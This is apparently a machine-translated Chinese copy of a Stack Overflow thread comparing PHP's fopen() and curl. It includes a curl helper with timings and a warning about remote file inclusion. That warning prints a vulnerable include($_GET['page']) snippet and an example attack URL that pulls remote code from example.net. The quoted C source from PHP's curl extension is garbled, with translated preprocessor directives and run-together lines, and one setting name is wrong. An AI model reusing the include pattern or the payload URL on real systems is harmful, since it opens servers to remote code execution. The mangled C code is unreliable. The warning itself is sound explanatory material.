在PHP中,使用fopen($url)和curl有哪些重要的区别?

5
我正在编写一些需要通过HTTP(s)与Web服务通信的代码。过去我使用了curl库。最近,我注意到我可以简单地使用fopen()来访问远程URL,这似乎更加简单。
Curl似乎更加可配置,具有大量选项。除了可配置性之外,使用哪种方法是否重要?如果是,哪种方法更好,为什么?
3个回答

15

正如Alnitak所说,使用CURL不依赖于PHP设置。 我进行了一些速度测试。

file_get_contents

使用我的

function file_get_contents_curl($url) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}

结果:

0.263456821442
0.0626730918884

CURL速度比原来快了4倍 :)


感谢速度测试。好答案 +1 - alex
正是我所需要的。+1 - Dom M.

14

fopen()只有在php.ini中启用allow_fopen_url才能打开远程URL。

然而,在5.2.0之前的版本中,这是极其危险的,因为include函数也会从远程站点下载并解析PHP代码。一个天真的编码者很容易陷入类似这样的代码中:

<?php
    $page = $_GET['page'];
    include($page);
?>

攻击者可以请求 http://example.com/script.php?page=http://example.net/my_exploit_script 来在系统上执行他们自己的代码并引入一个漏洞。不幸的是,allow_fopen_url 的默认值是 'on'。

幸运的是,从 5.2.0 开始有一个单独的设置(allow_url_include)可以防止 include 下载远程代码。(该设置应默认为 'off')

个人建议,如果你有使用 Curl 的选项,就使用它而不是 fopen


5

顺便提一句,PHP可以配置为使用curl作为http url_wrapper而不是使用“自己”的实现。

ext/curl/interface.c:

#ifdef PHP_CURL_URL_WRAPPERS
#如果有curl版本信息
    {
        curl_version_info_data *info = curl_version_info(CURLVERSION_NOW);
        char **p = (char **)info->protocols;
while (*p != NULL) { php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC); } } #否则 php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC); # endif #endif

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接